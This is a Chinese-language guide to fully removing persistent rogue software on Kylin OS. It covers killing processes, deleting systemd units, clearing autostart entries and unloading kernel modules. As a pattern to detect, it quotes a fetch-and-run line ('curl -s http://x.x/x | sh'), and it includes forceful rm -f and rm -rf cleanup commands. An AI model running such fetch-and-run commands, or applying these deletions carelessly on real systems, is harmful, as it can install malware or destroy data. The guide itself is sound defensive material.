必须从进程树、服务注册、启动项、内核模块四层同步清除,否则流氓软件会复活;先用ps和kill终止活跃进程,再禁用systemd服务、清理xdg自启和shell脚本、卸载可疑内核模块,最后验证无残留。

你在麒麟OS里卸载了一个流氓软件,但发现它还在后台偷偷运行、CPU占用异常、进程名伪装成系统服务,甚至重启后又自动拉起——这不是卸载失败,是残留进程未被真正终结。必须从进程树、服务注册、启动项、内核模块四层同步清除,否则它随时可能复活。
确认并终止活跃的流氓进程
先揪出正在跑的进程本体,别只看名字:有些流氓进程会起名“ksysguard”“dbus-daemon”等混淆视听。
按 Ctrl + Alt + T 打开终端,执行:ps aux | grep -E "(关键词|可疑名)"(把“关键词”换成你记得的软件名或拼音首字母,比如“sunlogin”“todesk”)。
若输出中出现非 root 用户启动、PPID=1 或 CMD 列含 /tmp/、/dev/shm/、sh -c 等路径,基本可判定为恶意残留进程。
记下 PID(第二列数字),执行:sudo kill -9 PID 强制终止;若存在多个同名进程,用 sudo pkill -f "关键词" 一次性杀净。
注意:不要直接 kill -9 systemd 或 dbus 进程,否则桌面会崩溃。
禁用并删除自启服务单元
流氓软件常把自己注册为 systemd 服务,实现开机自启和进程守护。不清理服务定义,杀完进程几分钟后它就复活。
第一步:查服务名。执行:systemctl list-unit-files --type=service | grep -i "关键词",重点看状态为 enabled 或 static 的条目。
第二步:停止并禁用该服务:sudo systemctl stop 服务名.service && sudo systemctl disable 服务名.service。
第三步:彻底删除服务文件。先查位置:systemctl show --property=FragmentPath 服务名.service,再执行:sudo rm -f $(systemctl show --property=FragmentPath 服务名.service | cut -d= -f2)。
第四步:清空服务缓存:sudo systemctl daemon-reload && sudo systemctl reset-failed。
扫描并清除顽固的用户级启动项
有些流氓软件绕过 systemd,在用户登录时通过桌面环境自启机制拉起,比如 XDG autostart、bashrc 注入、或 GNOME 启动应用列表。
方法一:检查 XDG 自启目录
执行:ls -la ~/.config/autostart/ /etc/xdg/autostart/ 2>/dev/null | grep -i "关键词"。
若发现匹配的 .desktop 文件,立即删除:rm -f ~/.config/autostart/*关键词*.desktop /etc/xdg/autostart/*关键词*.desktop。
方法二:排查 shell 初始化脚本
检查:cat ~/.bashrc ~/.profile ~/.bash_profile 2>/dev/null | grep -i "关键词"。
若发现类似 nohup /tmp/.xxx & 或 curl -s http://x.x/x | sh 的可疑行,用编辑器打开对应文件,手动删掉整行。
方法三:GNOME 桌面专属检查
执行:gsettings get org.gnome.startup-applications enabled,若返回值含可疑名称,运行:gsettings set org.gnome.startup-applications enabled "['app1.desktop', 'app2.desktop']"(保留合法项,剔除流氓项)。
检查并卸载可疑内核模块
极少数深度驻留的流氓软件会加载内核模块(.ko 文件),用于隐藏进程、劫持系统调用。这类模块不会出现在 ps 或 systemctl 中,必须主动扫描。
第一步:列出当前加载模块:lsmod | awk '{print $1}' | sort。
第二步:对比可疑模块名(常见伪装:ksys、drv、netfilter、含随机字符串如 z83k2n)。
第三步:若发现高度可疑模块,先尝试安全卸载:sudo modprobe -r 模块名。
第四步:定位模块文件位置:modinfo 模块名 | grep ^filename,确认路径在 /lib/modules/$(uname -r)/extra/ 或 /usr/lib/modules/ 下后,执行:sudo rm -f $(modinfo 模块名 | grep ^filename | cut -d' ' -f2)。
【重要前提】执行 modprobe -r 前务必确认该模块不被显卡驱动、网卡驱动等核心功能依赖,否则可能黑屏或断网。
刷新并验证最终状态
① 刷新桌面数据库,让开始菜单图标彻底消失:sudo update-desktop-database。
② 清理用户级残留配置与缓存:rm -rf ~/.config/关键词 ~/.cache/关键词 ~/.local/share/关键词。
③ 全盘搜索残留文件:sudo find / -path "/proc" -prune -o -path "/sys" -prune -o -name "*关键词*" -type f -print 2>/dev/null | grep -v "lib/modules",对非系统关键路径下的结果逐条确认并删除。
④ 重启系统,开机后立刻打开终端,执行:ps aux | grep -i "关键词" 和 systemctl list-units --all | grep -i "关键词",两处均无任何输出即表示清除完成。











